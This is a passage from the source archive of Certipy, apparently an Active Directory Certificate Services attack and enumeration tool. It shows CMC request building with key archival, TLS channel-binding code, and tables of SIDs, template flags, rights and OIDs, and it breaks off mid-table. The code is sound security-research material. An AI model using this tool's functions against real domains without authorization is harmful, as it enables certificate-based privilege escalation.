padded_private_key_bytes = padder.update(private_key_bytes) + padder.finalize()
# Encrypt the padded data
encryptor = cipher.encryptor()
encrypted_private_key_bytes = (
encryptor.update(padded_private_key_bytes) + encryptor.finalize()
)
# Create encrypted content info
encrypted_content_info = asn1cms.EncryptedContentInfo(
{
"content_type": "data",
"content_encryption_algorithm": encryption_algorithm,
"encrypted_content": encrypted_private_key_bytes,
}
)
# Create enveloped data structure
enveloped_data = asn1cms.EnvelopedData(
{
"version": 0,
"recipient_infos": asn1cms.RecipientInfos([recipient_info]),
"encrypted_content_info": encrypted_content_info,
}
)
# Wrap in ContentInfo
enveloped_data_info = asn1cms.ContentInfo(
{
"content_type": "1.2.840.113549.1.7.3",
"content": enveloped_data,
}
)
# Calculate encrypted key hash
encrypted_key_hash = hash_digest(
enveloped_data_info.dump(), signature_hash_algorithm
)
# Create PKIData
# Create attribute set with encrypted key hash
attributes = asn1csr.SetOfAttributes(
[
asn1csr.Attribute(
{
"type": OID_ENCRYPTED_KEY_HASH,
"values": [asn1core.OctetString(encrypted_key_hash)],
}
)
]
)
# Create CMC add attributes info
attributes_info = CMCAddAttributesInfo(
{"data_reference": 0, "cert_reference": [1], "attributes": attributes}
)
# Create tagged attribute
tagged_attribute = TaggedAttribute(
{
"bodyPartID": 2,
"attrType": OID_CMC_ADD_ATTRIBUTES,
"attrValues": [attributes_info],
}
)
# Create tagged request with CSR
tagged_request = TaggedRequest(
{
"tcr": TaggedCertificationRequest(
{
"bodyPartID": 1,
"certificationRequest": asn1csr.CertificationRequest().load(
csr_to_der(csr)
),
}
)
}
)
# Assemble PKIData
pki_data = PKIData(
{
"controlSequence": [tagged_attribute],
"reqSequence": [tagged_request],
"cmsSequence": TaggedContentInfos([]),
"otherMsgSequence": OtherMsgs([]),
}
)
pki_data_bytes = pki_data.dump()
# Calculate request hash
cmc_request_hash = hash_digest(pki_data_bytes, signature_hash_algorithm)
# Create SignerInfo
digest_algorithm = asn1cms.DigestAlgorithm(
{"algorithm": signature_hash_algorithm.name}
)
# Create subject key identifier from CSR public key
skid = SubjectKeyIdentifier.from_public_key(csr.public_key()).digest
# Create signed attributes
signed_attribs = asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{"type": "content_type", "values": ["1.3.6.1.5.5.7.12.2"]}
),
asn1cms.CMSAttribute(
{
"type": "message_digest",
"values": [cmc_request_hash],
}
),
]
)
# Sign the attributes
attribs_signature = rsa_pkcs1v15_sign(
signed_attribs.dump(), private_key, hash_algorithm=signature_hash_algorithm
)
# Create signer info with enveloped data in unsigned attributes
signer_info = asn1cms.SignerInfo(
{
"version": 3,
"sid": asn1cms.SignerIdentifier({"subject_key_identifier": skid}),
"digest_algorithm": digest_algorithm,
"signature_algorithm": x509_csr["signature_algorithm"],
"signature": attribs_signature,
"signed_attrs": signed_attribs,
"unsigned_attrs": asn1cms.CMSAttributes(
[
asn1cms.CMSAttribute(
{
"type": "1.3.6.1.4.1.311.21.13",
"values": [enveloped_data_info],
}
)
]
),
}
)
# Create SignedData
content_info = asn1cms.EncapsulatedContentInfo(
{
"content_type": "1.3.6.1.5.5.7.12.2",
"content": pki_data_bytes,
}
)
signed_data = asn1cms.SignedData(
{
"version": 3,
"digest_algorithms": [digest_algorithm],
"encap_content_info": content_info,
"signer_infos": [signer_info],
}
)
# Create CMC ContentInfo
cmc = asn1cms.ContentInfo(
{
"content_type": "signed_data",
"content": signed_data,
}
)
return cmc.dump()
Certipy-5.1.0/certipy/lib/channel_binding.py 0000664 0000000 0000000 00000010014 15216574665 0021052 0 ustar 00root root 0000000 0000000 import hashlib
import ssl
import httpx
def get_channel_binding_data(server_cert: bytes) -> bytes:
"""
Generate channel binding token (CBT) from a server certificate.
This implements the tls-server-end-point channel binding type as described
in RFC 5929 section 4. The binding token is created by:
1. Hashing the server certificate with SHA-256
2. Creating a channel binding structure with the hash
3. Computing an MD5 hash of the structure
Args:
server_cert: Raw server certificate bytes
Returns:
MD5 hash of the channel binding structure (16 bytes)
References:
- RFC 5929: https://datatracker.ietf.org/doc/html/rfc5929#section-4
"""
# Hash the certificate with SHA-256 as required by the RFC
cert_hash = hashlib.sha256(server_cert).digest()
# Initialize the channel binding structure with empty addresses
# These fields are defined in the RFC but not used for TLS bindings
initiator_address = b"\x00" * 8
acceptor_address = b"\x00" * 8
# Create the application data with the "tls-server-end-point:" prefix
application_data_raw = b"tls-server-end-point:" + cert_hash
# Add the length prefix to the application data (little-endian 32-bit integer)
len_application_data = len(application_data_raw).to_bytes(
4, byteorder="little", signed=False
)
application_data = len_application_data + application_data_raw
# Assemble the complete channel binding structure
channel_binding_struct = initiator_address + acceptor_address + application_data
# Return the MD5 hash of the structure
return hashlib.md5(channel_binding_struct).digest()
def get_channel_binding_data_from_response(response: httpx.Response) -> bytes:
"""
Extract channel binding data from an HTTPX response.
This function extracts the server certificate from an HTTPX response
and generates the channel binding token used for authentication.
Args:
response: The HTTPX response object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the response
"""
# Check if network stream is available in response extensions
if "network_stream" not in response.extensions:
raise ValueError(
"No network stream found in response - TLS information unavailable"
)
# Extract the TLS/SSL object from the network stream
network_stream = response.extensions["network_stream"]
ssl_object = network_stream.get_extra_info("ssl_object")
if ssl_object is None:
raise ValueError(
"No SSL object found in network stream - connection may not be using TLS"
)
# Get the peer/server certificate in binary (DER) format
peer_cert = ssl_object.getpeercert(True)
if peer_cert is None:
raise ValueError(
"No peer certificate found in SSL object - server may not have presented a certificate"
)
# Generate and return channel binding data using the server certificate
return get_channel_binding_data(peer_cert)
def get_channel_binding_data_from_ssl_socket(ssl_socket: ssl.SSLSocket) -> bytes:
"""
Extract channel binding data from an SSL socket.
This function extracts the server certificate from an SSL socket
and generates the channel binding token used for authentication.
Args:
ssl_socket: The SSL socket object containing TLS connection information
Returns:
The channel binding token as bytes
Raises:
ValueError: If unable to extract required TLS information from the socket
"""
# Get the peer/server certificate in binary (DER) format
peer_cert = ssl_socket.getpeercert(True)
if peer_cert is None:
raise ValueError(
"No peer certificate found in SSL socket - server may not have presented a certificate"
)
# Generate and return channel binding data using the server certificate
return get_channel_binding_data(peer_cert)
Certipy-5.1.0/certipy/lib/constants.py 0000775 0000000 0000000 00000063447 15216574665 0020011 0 ustar 00root root 0000000 0000000 """
Constants module for Certipy.
This module defines various constants used throughout Certipy for:
- User agent strings for HTTP requests
- Well-known security identifiers (SIDs) and relative identifiers (RIDs)
- PKI certificate flags and options
- Access control and rights constants
- Extended permissions mapping
- OID (Object Identifier) mappings
These constants are primarily used when interacting with Active Directory,
certificate services, and security descriptors.
"""
from certipy.lib.structs import IntFlag
# =========================================================================
# User Agent
# =========================================================================
LATEST_EDGE_VERSION = "136.0.3240.50"
USER_AGENT = f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{LATEST_EDGE_VERSION.split('.')[0]}.0.0.0 Safari/537.36 Edg/{LATEST_EDGE_VERSION}"
# =========================================================================
# Security Identifiers (SIDs) and Relative Identifiers (RIDs)
# =========================================================================
# Well-known SIDs mapping to (name, object type)
# Source: https://github.com/fox-it/BloodHound.py/blob/d665959c58d881900378040e6670fa12f801ccd4/bloodhound/ad/utils.py#L36
WELLKNOWN_SIDS = {
# Null and World Authority
"S-1-0": ("Null Authority", "USER"),
"S-1-0-0": ("Nobody", "USER"),
"S-1-1": ("World Authority", "USER"),
"S-1-1-0": ("Everyone", "GROUP"),
# Local Authority
"S-1-2": ("Local Authority", "USER"),
"S-1-2-0": ("Local", "GROUP"),
"S-1-2-1": ("Console Logon", "GROUP"),
# Creator Authority
"S-1-3": ("Creator Authority", "USER"),
"S-1-3-0": ("Creator Owner", "USER"),
"S-1-3-1": ("Creator Group", "GROUP"),
"S-1-3-2": ("Creator Owner Server", "COMPUTER"),
"S-1-3-3": ("Creator Group Server", "COMPUTER"),
"S-1-3-4": ("Owner Rights", "GROUP"),
# Non-unique and NT Authority
"S-1-4": ("Non-unique Authority", "USER"),
"S-1-5": ("NT Authority", "USER"),
"S-1-5-1": ("Dialup", "GROUP"),
"S-1-5-2": ("Network", "GROUP"),
"S-1-5-3": ("Batch", "GROUP"),
"S-1-5-4": ("Interactive", "GROUP"),
"S-1-5-6": ("Service", "GROUP"),
"S-1-5-7": ("Anonymous", "GROUP"),
"S-1-5-8": ("Proxy", "GROUP"),
"S-1-5-9": ("Enterprise Domain Controllers", "GROUP"),
"S-1-5-10": ("Principal Self", "USER"),
"S-1-5-11": ("Authenticated Users", "GROUP"),
"S-1-5-12": ("Restricted Code", "GROUP"),
"S-1-5-13": ("Terminal Server Users", "GROUP"),
"S-1-5-14": ("Remote Interactive Logon", "GROUP"),
"S-1-5-15": ("This Organization", "GROUP"),
"S-1-5-17": ("IUSR", "USER"),
"S-1-5-18": ("Local System", "USER"),
"S-1-5-19": ("NT Authority", "USER"),
"S-1-5-20": ("Network Service", "USER"),
"S-1-5-80-0": ("All Services", "GROUP"),
# Built-in local groups
"S-1-5-32-544": ("Administrators", "GROUP"),
"S-1-5-32-545": ("Users", "GROUP"),
"S-1-5-32-546": ("Guests", "GROUP"),
"S-1-5-32-547": ("Power Users", "GROUP"),
"S-1-5-32-548": ("Account Operators", "GROUP"),
"S-1-5-32-549": ("Server Operators", "GROUP"),
"S-1-5-32-550": ("Print Operators", "GROUP"),
"S-1-5-32-551": ("Backup Operators", "GROUP"),
"S-1-5-32-552": ("Replicators", "GROUP"),
"S-1-5-32-554": ("Pre-Windows 2000 Compatible Access", "GROUP"),
"S-1-5-32-555": ("Remote Desktop Users", "GROUP"),
"S-1-5-32-556": ("Network Configuration Operators", "GROUP"),
"S-1-5-32-557": ("Incoming Forest Trust Builders", "GROUP"),
"S-1-5-32-558": ("Performance Monitor Users", "GROUP"),
"S-1-5-32-559": ("Performance Log Users", "GROUP"),
"S-1-5-32-560": ("Windows Authorization Access Group", "GROUP"),
"S-1-5-32-561": ("Terminal Server License Servers", "GROUP"),
"S-1-5-32-562": ("Distributed COM Users", "GROUP"),
"S-1-5-32-568": ("IIS_IUSRS", "GROUP"),
"S-1-5-32-569": ("Cryptographic Operators", "GROUP"),
"S-1-5-32-573": ("Event Log Readers", "GROUP"),
"S-1-5-32-574": ("Certificate Service DCOM Access", "GROUP"),
"S-1-5-32-575": ("RDS Remote Access Servers", "GROUP"),
"S-1-5-32-576": ("RDS Endpoint Servers", "GROUP"),
"S-1-5-32-577": ("RDS Management Servers", "GROUP"),
"S-1-5-32-578": ("Hyper-V Administrators", "GROUP"),
"S-1-5-32-579": ("Access Control Assistance Operators", "GROUP"),
"S-1-5-32-580": ("Access Control Assistance Operators", "GROUP"),
}
# Well-known RIDs mapping to (name, object type)
# Source: https://github.com/garrettfoster13/aced/blob/b5d1ad1b8cfb84a6420be22658beec340ef9e396/lib/sid.py#L48
WELLKNOWN_RIDS = {
# Special accounts
"500": ("Administrator", "USER"),
"501": ("Guest", "USER"),
"502": ("KRBTGT", "USER"),
# Domain groups
"512": ("Domain Admins", "GROUP"),
"513": ("Domain Users", "GROUP"),
"514": ("Domain Guests", "GROUP"),
"515": ("Domain Computers", "GROUP"),
"516": ("Domain Controllers", "GROUP"),
"517": ("Cert Publishers", "GROUP"),
# Administrative groups
"518": ("Schema Admins", "GROUP"),
"519": ("Enterprise Admins", "GROUP"),
"520": ("Group Policy Creator Owners", "GROUP"),
# Special controllers
"521": ("Read-only Domain Controllers", "GROUP"),
"522": ("Cloneable Domain Controllers", "GROUP"),
"498": ("Enterprise Read-only Domain Controllers", "GROUP"),
# Special purpose groups
"526": ("Key Admins", "GROUP"),
"527": ("Enterprise Key Admins", "GROUP"),
"553": ("RAS and IAS Servers", "GROUP"),
}
# =========================================================================
# PKI Certificate Flags
# =========================================================================
# Template flags
# Source: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0
class TemplateFlags(IntFlag):
"""
Certificate template flags that control template behavior.
These flags define how certificate templates operate in Active Directory
Certificate Services, including enrollment options, certificate type,
and template modification restrictions.
Reference: MS-CRTD 2.4 flags Attribute
"""
NONE = 0x00000000
# Reserved flags (must be ignored by all protocols)
ADD_EMAIL = 0x00000002 # Include email in certificate
PUBLISH_TO_DS = 0x00000008 # Publish certificate to directory
EXPORTABLE_KEY = 0x00000010 # Allow private key export
# Enrollment flags
AUTO_ENROLLMENT = 0x00000020 # Template supports auto-enrollment
# Certificate type flags
MACHINE_TYPE = 0x00000040 # Certificate for machine authentication
IS_CA = 0x00000080 # Certificate for CA issuance
IS_CROSS_CA = 0x00000800 # Certificate for cross-certification
# Certificate content flags
ADD_TEMPLATE_NAME = 0x00000200 # Include template name in certificate extension
# Database flags
DO_NOT_PERSIST_IN_DB = 0x00001000 # Don't persist request in CA database
# Template management flags
IS_DEFAULT = 0x00010000 # Template should not be modified
IS_MODIFIED = 0x00020000 # Template may be modified if required
# Enrollment flags
# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1
class EnrollmentFlag(IntFlag):
"""
Flags controlling certificate enrollment behavior.
These flags determine how certificates are enrolled, published, and managed
throughout their lifecycle in Active Directory Certificate Services.
Reference: MS-CRTD 2.26 msPKI-Enrollment-Flag Attribute
"""
# Base value
NONE = 0x00000000 # No special enrollment behavior
# Enrollment processing options
INCLUDE_SYMMETRIC_ALGORITHMS = (
0x00000001 # Include symmetric algorithms in requests
)
PEND_ALL_REQUESTS = 0x00000002 # All requests must be manually approved
USER_INTERACTION_REQUIRED = (
0x00000100 # User interaction required during enrollment
)
# Publication options
PUBLISH_TO_KRA_CONTAINER = (
0x00000004 # Publish certificates to Key Recovery Agent container
)
PUBLISH_TO_DS = 0x00000008 # Publish certificates to Active Directory
ADD_TEMPLATE_NAME = 0x00000200 # Add template name to issued certificates
ADD_OCSP_NOCHECK = 0x00001000 # Add OCSP NoCheck extension
# Auto-enrollment options
AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = (
0x00000010 # Check DS for existing certificate before auto-enrollment
)
AUTO_ENROLLMENT = 0x00000020 # Enable auto-enrollment for this template
SKIP_AUTO_RENEWAL = 0x00040000 # Skip auto-renewal even if otherwise enabled
# Authentication options
CT_FLAG_DOMAIN_AUTHENTICATION_NOT_REQUIRED = (
0x00000080 # Domain authentication not required for enrollment
)
PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = (
0x00000040 # Validate re-enrollment requests requiring approval
)
ALLOW_ENROLL_ON_BEHALF_OF = (
0x00000800 # Allow enrollment on behalf of another user/computer
)
ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = (
0x00010000 # Allow key-based renewal with previous approval
)
# Certificate store management
REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = (
0x00000400 # Remove invalid certificates from personal store
)
ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = (
0x00002000 # Enable key reuse when token storage is full
)
# Certificate content options
NOREVOCATIONINFOINISSUEDCERTS = (
0x00004000 # Don't include revocation info in certificates
)
INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = (
0x00008000 # Include Basic Constraints for end-entity certs
)
ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 # Obtain issuance policies from request
NO_SECURITY_EXTENSION = 0x00080000 # Don't include security extension
# Private key flags
# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667
class PrivateKeyFlag(IntFlag):
"""
Flags controlling certificate private key behavior.
These flags define the handling, storage, and restrictions of private keys
associated with certificates issued from a template.
Reference: MS-CRTD 2.27 msPKI-Private-Key-Flag Attribute
"""
# Default value
NONE = 0x00000000 # No special private key handling
# Key archival and export settings
REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 # Require private key archival to KRA
EXPORTABLE_KEY = 0x00000010 # Private key can be exported
STRONG_KEY_PROTECTION_REQUIRED = (
0x00000020 # Require strong key protection (password)
)
# Key algorithm settings
REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = (
0x00000040 # Require alternate signature algorithm
)
REQUIRE_SAME_KEY_RENEWAL = 0x00000080 # Require same key for renewal
USE_LEGACY_PROVIDER = 0x00000100 # Use legacy cryptographic provider
# Key attestation levels
ATTEST_NONE = 0x00000000 # No attestation required
ATTEST_PREFERRED = 0x00001000 # Attestation preferred but not required
ATTEST_REQUIRED = 0x00002000 # Attestation required
ATTESTATION_WITHOUT_POLICY = 0x00004000 # Attestation without specific policy
# Endorsement key options
EK_TRUST_ON_USE = 0x00000200 # Trust endorsement key on first use
EK_VALIDATE_CERT = 0x00000400 # Validate endorsement key certificate
EK_VALIDATE_KEY = 0x00000800 # Validate endorsement key itself
# Special key types
HELLO_LOGON_KEY = 0x00200000 # Key for Hello logon/Windows Hello
# Certificate name flags
# Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1
class CertificateNameFlag(IntFlag):
"""
Flags controlling certificate subject name creation and validation.
These flags define how subject names and subject alternative names (SANs) are created,
what information is included in certificates, and what naming constraints are enforced
during certificate enrollment.
Reference: MS-CRTD 2.28 msPKI-Certificate-Name-Flag Attribute
"""
# Base value
NONE = 0x00000000 # No special naming behavior
# Subject name source options
ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 # Enrollee can specify subject name
OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = (
0x00000008 # Use subject from previous cert during renewal
)
# Subject content inclusion options
ADD_EMAIL = 0x00000002 # Include email address in subject name
ADD_OBJ_GUID = 0x00000004 # Include Active Directory object GUID in SAN
ADD_DIRECTORY_PATH = 0x00000100 # Include directory path (DN) in subject name
# Subject alternative name options
ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = (
0x00010000 # Enrollee can specify subject alternative names
)
# Subject alternative name requirements
SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000 # Require domain DNS name in SAN
SUBJECT_ALT_REQUIRE_SPN = 0x00800000 # Require Service Principal Name in SAN
SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000 # Require directory GUID in SAN
SUBJECT_ALT_REQUIRE_UPN = 0x02000000 # Require User Principal Name in SAN
SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000 # Require email address in SAN
SUBJECT_ALT_REQUIRE_DNS = 0x08000000 # Require DNS name in SAN
# Subject name requirements
SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000 # Require DNS name as common name (CN)
SUBJECT_REQUIRE_EMAIL = 0x20000000 # Require email in subject name
SUBJECT_REQUIRE_COMMON_NAME = 0x40000000 # Require common name (CN) in subject
SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000 # Require directory path in subject
# =========================================================================
# Access Control and Rights
# =========================================================================
# Access control types
# Source: https://docs.microsoft.com/en-us/dotnet/api/system.security.accesscontrol.accesscontroltype?view=net-5.0
class AccessControlType(IntFlag):
"""Access control types for access control entries."""
ALLOW = 0
DENY = 1
# Active Directory rights
# Source: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=net-5.0
class ActiveDirectoryRights(IntFlag):
"""Rights applicable to Active Directory objects."""
# Object-level rights
CREATE_CHILD = 1
DELETE_CHILD = 2
LIST_CHILDREN = 4
SELF = 8
READ_PROPERTY = 16
WRITE_PROPERTY = 32
DELETE_TREE = 64
LIST_OBJECT = 128
EXTENDED_RIGHT = 256
# Standard rights
DELETE = 65536
READ_CONTROL = 131072
WRITE_DACL = 262144
WRITE_OWNER = 524288
SYNCHRONIZE = 1048576
ACCESS_SYSTEM_SECURITY = 16777216
# Generic rights
GENERIC_READ = 131220
GENERIC_WRITE = 131112
GENERIC_EXECUTE = 131076
GENERIC_ALL = 983551
# Certificate rights
class CertificateRights(IntFlag):
"""Rights applicable to certificate templates and related objects."""
WRITE_PROPERTY = 32
EXTENDED_RIGHT = 256
WRITE_DACL = 262144
WRITE_OWNER = 524288
GENERIC_WRITE = 131112
GENERIC_READ = 131220
GENERIC_ALL = 983551
# Certificate issuance policy rights
class IssuancePolicyRights(IntFlag):
"""Rights applicable to certificate issuance policies."""
WRITE_PROPERTY = 32
WRITE_DACL = 262144
WRITE_OWNER = 524288
GENERIC_READ = 131220
GENERIC_ALL = 983551
# Certificate authority rights
# Source: https://github.com/GhostPack/Certify/blob/2b1530309c0c5eaf41b2505dfd5a68c83403d031/Certify/Domain/CertificateAuthority.cs#L11
class CertificateAuthorityRights(IntFlag):
"""Rights applicable to certification authorities."""
MANAGE_CA = 1
MANAGE_CERTIFICATES = 2
AUDITOR = 4
OPERATOR = 8
READ = 256
ENROLL = 512
# =========================================================================
# Object Identifier (OID) Mappings
# =========================================================================
# OID mappings to human-readable names
# Source: https://www.pkisolutions.com/object-identifiers-oid-in-pki/
OID_TO_STR_MAP = {
# Windows system and infrastructure
"1.3.6.1.4.1.311.76.6.1": "Windows Update",
"1.3.6.1.4.1.311.10.3.11": "Key Recovery",
"1.3.6.1.4.1.311.10.3.25": "Windows Third Party Application Component",
"1.3.6.1.4.1.311.21.6": "Key Recovery Agent",
"1.3.6.1.4.1.311.10.3.6": "Windows System Component Verification",
"1.3.6.1.4.1.311.61.4.1": "Early Launch Antimalware Drive",
"1.3.6.1.4.1.311.10.3.23": "Windows TCB Component",
"1.3.6.1.4.1.311.61.1.1": "Kernel Mode Code Signing",
"1.3.6.1.4.1.311.10.3.26": "Windows Software Extension Verification",
"1.3.6.1.4.1.311.76.3.1": "Windows Store",
"1.3.6.1.4.1.311.10.6.1": "Key Pack Licenses",
"1.3.6.1.4.1.311.20.2.2": "Smart Card Logon",
"1.3.6.1.4.1.311.10.3.8": "Embedded Windows System Component Verification",
"1.3.6.1.4.1.311.10.3.20": "Windows Kits Component",
"1.3.6.1.4.1.311.10.3.5": "Windows Hardware Driver Verification",
"1.3.6.1.4.1.311.10.3.39": "Windows Hardware Driver Extended Verification",
"1.3.6.1.4.1.311.10.6.2": "License Server Verification",
"1.3.6.1.4.1.311.10.3.5.1": "Windows Hardware Driver Attested Verification",
"1.3.6.1.4.1.311.76.5.1": "Dynamic Code Generator",
"1.3.6.1.4.1.311.10.3.4.1": "File Recovery",
"1.3.6.1.4.1.311.2.6.1": "SpcRelaxedPEMarkerCheck",
"1.3.6.1.4.1.311.2.6.2": "SpcEncryptedDigestRetryCount",
"1.3.6.1.4.1.311.10.3.4": "Encrypting File System",
"1.3.6.1.4.1.311.61.5.1": "HAL Extension",
"1.3.6.1.4.1.311.10.3.9": "Root List Signer",
"1.3.6.1.4.1.311.10.3.30": "Disallowed List",
"1.3.6.1.4.1.311.10.3.19": "Revoked List Signer",
"1.3.6.1.4.1.311.10.3.21": "Windows RT Verification",
"1.3.6.1.4.1.311.10.3.10": "Qualified Subordination",
"1.3.6.1.4.1.311.10.3.12": "Document Signing",
"1.3.6.1.4.1.311.10.3.24": "Protected Process Verification",
"1.3.6.1.4.1.311.80.1": "Document Encryption",
"1.3.6.1.4.1.311.10.3.22": "Protected Process Light Verification",
"1.3.6.1.4.1.311.21.19": "Directory Service Email Replication",
"1.3.6.1.4.1.311.21.5": "Private Key Archival",
"1.3.6.1.4.1.311.10.5.1": "Digital Rights",
"1.3.6.1.4.1.311.10.3.27": "Preview Build Signing",
"1.3.6.1.4.1.311.20.2.1": "Certificate Request Agent",
"1.3.6.1.4.1.311.20.1": "CTL Usage",
"1.3.6.1.4.1.311.10.3.1": "Microsoft Trust List Signing",
"1.3.6.1.4.1.311.10.3.2": "Microsoft Time Stamping",
"1.3.6.1.4.1.311.76.8.1": "Microsoft Publisher",
# Standard certificate usages
"1.3.6.1.5.5.7.3.1": "Server Authentication",
"1.3.6.1.5.5.7.3.2": "Client Authentication",
"1.3.6.1.4.1.311.54.1.2": "Remote Desktop Authentication",
"1.3.6.1.5.5.7.3.3": "Code Signing",
"1.3.6.1.5.5.7.3.4": "Secure Email",
"1.3.6.1.5.5.7.3.5": "IP security end system",
"1.3.6.1.5.5.7.3.6": "IP security tunnel termination",
"1.3.6.1.5.5.7.3.7": "IP security use",
"1.3.6.1.5.5.7.3.8": "Time Stamping",
"1.3.6.1.5.5.7.3.9": "OCSP Signing",
"1.3.6.1.5.5.8.2.2": "IP security IKE intermediate",
# Attestation and Platform Trust
"2.23.133.8.1": "Endorsement Key Certificate",
"2.23.133.8.2": "Platform Certificate",
"2.23.133.8.3": "Attestation Identity Key Certificate",
# Kerberos
"1.3.6.1.5.2.3.4": "PKINIT Client Authentication",
"1.3.6.1.5.2.3.5": "KDC Authentication",
# Special purpose
"1.3.6.1.4.1.311.10.3.13": "Lifetime Signing",
"2.5.29.37.0": "Any Purpose",
"1.3.6.1.4.1.311.64.1.1": "Server Trust",
}
OID_TO_STR_NAME_MAP = {v.lower(): k for k, v in OID_TO_STR_MAP.items()}
# =========================================================================
# Extended Rights Mapping
# =========================================================================
# Extended rights mapping from UUID to name
# Retrieved from Windows 2022 server via LDAP (CN=Extended-Rights,CN=Configuration,DC=...)
EXTENDED_RIGHTS_MAP = {
# Domain administration
"ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server",
"e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information",
"4c164200-20c0-11d0-a768-00aa006e0529": "User-Account-Restrictions",
"59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information",
"77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information",
"e45795b2-9455-11d1-aebd-0000f80367c1": "Email-Information",
"e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information",
"91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information",
"037088f8-0ae1-11d2-b422-00a0c968f939": "RAS-Information",
# Password and authentication rights
"ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password",
"00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password",
"c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password",
"ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password",
"280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit",
"05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": "Enable-Per-User-Reversibly-Encrypted-Password",
# Replication and directory service rights
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize",
"1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
"89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
"1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": "Read-Only-Replication-Secret-Synchronization",
"9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica",
"f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology",
"4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner",
"084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets",
"94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets",
"4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota",
"88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota",
"9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer",
# Infrastructure roles and operations
"e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master",
"d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master",
"fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection",
"0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy",
"1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids",
"bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC",
"014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master",
"cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master",
"be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache",
"62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance",
"69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms",
"440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID",
"2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script",
# Email and messaging related
"ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As",
"ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As",
"ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To",
"4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter",
"4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter",
"4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal",
"4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal",
"06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive",
"06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek",
"06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send",
"06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal",
